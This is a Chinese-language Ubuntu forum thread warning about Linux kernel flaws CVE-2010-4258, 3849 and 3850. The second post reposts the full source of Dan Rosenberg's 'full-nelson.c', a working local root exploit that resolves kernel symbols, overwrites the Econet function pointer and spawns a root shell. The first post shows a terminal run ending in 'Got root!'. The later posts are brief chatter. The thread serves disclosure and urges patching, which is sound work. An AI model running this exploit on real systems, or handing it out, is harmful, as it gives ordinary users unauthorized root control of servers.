当前时区为 UTC + 8 小时



发表新帖 回复这个主题  [ 9 篇帖子 ] 
作者 内容
1 楼 
 文章标题 : 紧急漏洞
帖子发表于 : 2010-12-14 22:34 
头像

注册: 2008-11-01 20:43
帖子: 17328
系统: 自动检测比较好
送出感谢: 44
接收感谢: 11
引用:
系统安全高手 Dan Rosenberg 发布了一段 C 程序, 这段200多行的程序利用了 Linux Econet 协议的3个安全漏洞,可以导致本地帐号对系统进行拒绝服务或特权提升,也就是说一个普通用户可以通过运行这段程序后轻松获得 root shell,以下在 update 过的 Ubuntu 10.04 Server LTS 上测试通过:

$ sudo apt-get update
$ sudo apt-get upgrade

$ uname -r
2.6.32-21-server

$ gcc full-nelson.c -o full-nelson
$ ./full-nelson
[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xffffffffa0131510
[+] Resolved econet_ops to 0xffffffffa0131600
[+] Resolved commit_creds to 0xffffffff8108b820
[+] Resolved prepare_kernel_cred to 0xffffffff8108bc00
[*] Calculating target...
[*] Failed to set Econet address.
[*] Triggering payload...
[*] Got root!
#

由于 RHEL/CentOS 默认不支持 Econet 协议,所以测试没有通过:

# yum update

$ uname -r
2.6.18-194.26.1.el5

$ gcc full-nelson.c -o full-nelson
$ ./full-nelson
[*] Failed to open file descriptors.

如果在企业环境用 Ubuntu 的话可能会比较杯具了,几百个帐号里总可以找到一两个帐号被内部或外部人员通过上面这段程序拿到 root,这对服务器的危害是毁灭性的。前天还在说 Ubuntu 在内核方面无作为, 现在想起来还有点后怕。VPSee 提醒正在使用多个普通帐号登录 Ubuntu VPS 的朋友及时升级或打内核补丁,出售 VPN/SSH 帐号、提供免费 SSH 的商家尤其要小心 “客户” 捣乱,使用其他 Linux 发行版的朋友也最好检查一下自己的 VPS 有没有这些高危漏洞。


_________________
谁是我?KL.Uiq8 YinMeng


页首
 用户资料  
 
2 楼 
 文章标题 : Re: 紧急漏洞
帖子发表于 : 2010-12-14 22:36 
头像

注册: 2008-11-01 20:43
帖子: 17328
系统: 自动检测比较好
送出感谢: 44
接收感谢: 11
引用:
[prev in list] [next in list] [prev in thread] [next in thread]

List: full-disclosure
Subject: [Full-disclosure] Linux kernel exploit
From: Dan Rosenberg <dan.j.rosenberg () gmail ! com>
Date: 2010-12-07 20:25:36
Message-ID: 1291753536.584.14.camel () dan
[Download message RAW]

Hi all,

I've included here a proof-of-concept local privilege escalation exploit
for Linux. Please read the header for an explanation of what's going
on. Without further ado, I present full-nelson.c:

Happy hacking,
Dan


--snip--

/*
* Linux Kernel <= 2.6.37 local privilege escalation
* by Dan Rosenberg
* @djrbliss on twitter
*
* Usage:
* gcc full-nelson.c -o full-nelson
* ./full-nelson
*
* This exploit leverages three vulnerabilities to get root, all of which were
* discovered by Nelson Elhage:
*
* CVE-2010-4258
* -------------
* This is the interesting one, and the reason I wrote this exploit. If a
* thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
* word will be written to a user-specified pointer when that thread exits.
* This write is done using put_user(), which ensures the provided destination
* resides in valid userspace by invoking access_ok(). However, Nelson
* discovered that when the kernel performs an address limit override via
* set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
* etc.), this override is not reverted before calling put_user() in the exit
* path, allowing a user to write a NULL word to an arbitrary kernel address.
* Note that this issue requires an additional vulnerability to trigger.
*
* CVE-2010-3849
* -------------
* This is a NULL pointer dereference in the Econet protocol. By itself, it's
* fairly benign as a local denial-of-service. It's a perfect candidate to
* trigger the above issue, since it's reachable via sock_no_sendpage(), which
* subsequently calls sendmsg under KERNEL_DS.
*
* CVE-2010-3850
* -------------
* I wouldn't be able to reach the NULL pointer dereference and trigger the
* OOPS if users weren't able to assign Econet addresses to arbitrary
* interfaces due to a missing capabilities check.
*
* In the interest of public safety, this exploit was specifically designed to
* be limited:
*
* * The particular symbols I resolve are not exported on Slackware or Debian
* * Red Hat does not support Econet by default
* * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
* Debian
*
* However, the important issue, CVE-2010-4258, affects everyone, and it would
* be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
* more sophisticated version of this that doesn't have the roadblocks I put in
* to prevent abuse by script kiddies.
*
* Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
*
* NOTE: the exploit process will deadlock and stay in a zombie state after you
* exit your root shell because the Econet thread OOPSes while holding the
* Econet mutex. It wouldn't be too hard to fix this up, but I didn't bother.
*
* Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
*/

#include <stdio.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <net/if.h>
#include <sched.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/utsname.h>
#include <sys/mman.h>
#include <unistd.h>

/* How many bytes should we clear in our
* function pointer to put it into userspace? */
#ifdef __x86_64__
#define SHIFT 24
#define OFFSET 3
#else
#define SHIFT 8
#define OFFSET 1
#endif

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;

f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}

repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
fclose(f);
return addr;
}
}

fclose(f);
if (rep)
return 0;
fallback:
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

static int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{

commit_creds(prepare_kernel_cred(0));
return -1;

}

/* Why do I do this? Because on x86-64, the address of
* commit_creds and prepare_kernel_cred are loaded relative
* to rip, which means I can't just copy the above payload
* into my landing area. */
void __attribute__((regparm(3)))
trampoline()
{

#ifdef __x86_64__
asm("mov $getroot, %rax; call *%rax;");
#else
asm("mov $getroot, %eax; call *%eax;");
#endif

}

/* Triggers a NULL pointer dereference in econet_sendmsg
* via sock_no_sendpage, so it's under KERNEL_DS */
int trigger(int * fildes)
{
int ret;
struct ifreq ifr;

memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);

ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);

if(ret < 0) {
printf("[*] Failed to set Econet address.\n");
return -1;
}

splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
splice(fildes[0], NULL, fildes[2], NULL, 128, 0);

/* Shouldn't get here... */
exit(0);
}

int main(int argc, char * argv[])
{
unsigned long econet_ops, econet_ioctl, target, landing;
int fildes[4], pid;
void * newstack, * payload;

/* Create file descriptors now so there are two
references to them after cloning...otherwise
the child will never return because it
deadlocks when trying to unlock various
mutexes after OOPSing */
pipe(fildes);
fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
fildes[3] = open("/dev/zero", O_RDONLY);

if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) {
printf("[*] Failed to open file descriptors.\n");
return -1;
}

/* Resolve addresses of relevant symbols */
printf("[*] Resolving kernel addresses...\n");
econet_ioctl = get_kernel_sym("econet_ioctl");
econet_ops = get_kernel_sym("econet_ops");
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");

if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
printf("[*] Failed to resolve kernel symbols.\n");
return -1;
}

if(!(newstack = malloc(65536))) {
printf("[*] Failed to allocate memory.\n");
return -1;
}

printf("[*] Calculating target...\n");
target = econet_ops + 10 * sizeof(void *) - OFFSET;

/* Clear the higher bits */
landing = econet_ioctl << SHIFT >> SHIFT;

payload = mmap((void *)(landing & ~0xfff), 2 * 4096,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);

if ((long)payload == -1) {
printf("[*] Failed to mmap() at target address.\n");
return -1;
}

memcpy((void *)landing, &trampoline, 1024);

clone((int (*)(void *))trigger,
(void *)((unsigned long)newstack + 65536),
CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
&fildes, NULL, NULL, target);

sleep(1);

printf("[*] Triggering payload...\n");
ioctl(fildes[2], 0, NULL);

if(getuid()) {
printf("[*] Exploit failed to get root.\n");
return -1;
}

printf("[*] Got root!\n");
execl("/bin/sh", "/bin/sh", NULL);
}


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[prev in list] [next in list] [prev in thread] [next in thread]


_________________
谁是我?KL.Uiq8 YinMeng


页首
 用户资料  
 
3 楼 
 文章标题 : Re: 紧急漏洞
帖子发表于 : 2010-12-14 22:37 
头像

注册: 2008-11-01 20:43
帖子: 17328
系统: 自动检测比较好
送出感谢: 44
接收感谢: 11
http://marc.info/?l=full-disclosure&m=129175358621826&w=2 :em11


_________________
谁是我?KL.Uiq8 YinMeng


页首
 用户资料  
 
4 楼 
 文章标题 : Re: 紧急漏洞
帖子发表于 : 2010-12-14 22:39 
头像

注册: 2008-03-25 15:49
帖子: 25878
地址: 谁知道?
送出感谢: 8
接收感谢: 10
解封了?


页首
 用户资料  
 
5 楼 
 文章标题 : Re: 紧急漏洞
帖子发表于 : 2010-12-14 22:42 
头像

注册: 2007-05-06 2:46
帖子: 15634
送出感谢: 0 次
接收感谢: 2
natty


_________________
وإذا كان هذا لا يحصل أكثر من 100 ملاحظات ، انا ذاهب الى غضب


页首
 用户资料  
 
6 楼 
 文章标题 : Re: 紧急漏洞
帖子发表于 : 2010-12-14 22:49 
头像

注册: 2008-11-01 20:43
帖子: 17328
系统: 自动检测比较好
送出感谢: 44
接收感谢: 11
代码:
mm@mm-desktop:~$ uname -a
Linux mm-desktop 2.6.37-8-generic #21-Ubuntu SMP Sun Dec 5 17:56:47 UTC 2010 x86_64 GNU/Linux
mm@mm-desktop:


_________________
谁是我?KL.Uiq8 YinMeng


页首
 用户资料  
 
7 楼 
 文章标题 : Re: 紧急漏洞
帖子发表于 : 2010-12-14 22:51 
头像

注册: 2008-11-01 20:43
帖子: 17328
系统: 自动检测比较好
送出感谢: 44
接收感谢: 11
死牛,见死不救! :em36


_________________
谁是我?KL.Uiq8 YinMeng


页首
 用户资料  
 
8 楼 
 文章标题 : Re: 紧急漏洞
帖子发表于 : 2010-12-14 22:56 
头像

注册: 2008-03-25 15:49
帖子: 25878
地址: 谁知道?
送出感谢: 8
接收感谢: 10
1.我不会解
2.会解也不解 :em05


页首
 用户资料  
 
9 楼 
 文章标题 : Re: 紧急漏洞
帖子发表于 : 2010-12-15 20:24 
头像

注册: 2008-11-01 20:43
帖子: 17328
系统: 自动检测比较好
送出感谢: 44
接收感谢: 11
引用:
1.我不会解
2.会解也不解

像个nia们!


_________________
谁是我?KL.Uiq8 YinMeng


页首
 用户资料  
 
显示帖子 :  排序  
发表新帖 回复这个主题  [ 9 篇帖子 ] 

当前时区为 UTC + 8 小时


在线用户

正在浏览此版面的用户:没有注册用户 和 1 位游客


不能 在这个版面发表主题
不能 在这个版面回复主题
不能 在这个版面编辑帖子
不能 在这个版面删除帖子
不能 在这个版面提交附件

前往 :  
本站点为公益性站点,用于推广开源自由软件,由 DiaHosting VPSBudgetVM VPS 提供服务。
我们认为:软件应可免费取得,软件工具在各种语言环境下皆可使用,且不会有任何功能上的差异;
人们应有定制和修改软件的自由,且方式不受限制,只要他们自认为合适。

Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group
简体中文语系由 王笑宇 翻译